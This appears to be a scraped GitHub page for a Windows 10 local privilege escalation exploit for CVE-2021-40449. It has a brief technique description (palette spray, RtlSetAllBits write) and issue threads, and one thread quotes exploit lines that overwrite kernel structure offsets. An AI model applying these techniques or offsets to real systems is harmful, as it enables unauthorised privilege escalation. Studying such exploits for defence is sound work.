kalendsi/cve-2021-40449-exploit

windows 10 14393 LPE

CVE-2021-40449-Exploit

olny worker on windows 10 14393,and windows 10 17763

Use Palette to Spay and RtlSetAllBits to Write

cve-2021-40449-exploit's Issues

Searching offset

I'd like to ask you about method you used to find offset to UAF here:

p[0x15A - 0x8 - 0x5] = globals::rtlSetAllBits;
p[0xE4 - 0x8 - 0x5] = globals::fakeRtlBitMapAddr;

I'm curious how do you recognize desired fields of internal device context structure as well as obtain memory ptr to it.
I bet you did a kernel memory dump before doing ResetDC in mid-hook, and second dump after spraying palette to be able to find ptr by known pattern.
However, searching pvoid in those structure, and the fact why driver call 2 of them is still a mystery for me. Do you know function name I can decompile to see those calls and calculate offset he uses?

Thanks for details.

for loop error

// Loop over printers
for (DWORD i = 0; i < pcbReturned; i++)
{
	printerInfo = &pPrinterEnum[i];

	printf("[*] Using printer: %s\n", printerInfo->pPrinterName);

	// Open printer
	res = OpenPrinterA(printerInfo->pPrinterName, &hPrinter, NULL);
	if (!res)
	{
		puts("[-] Failed to open printer");
		continue;
	}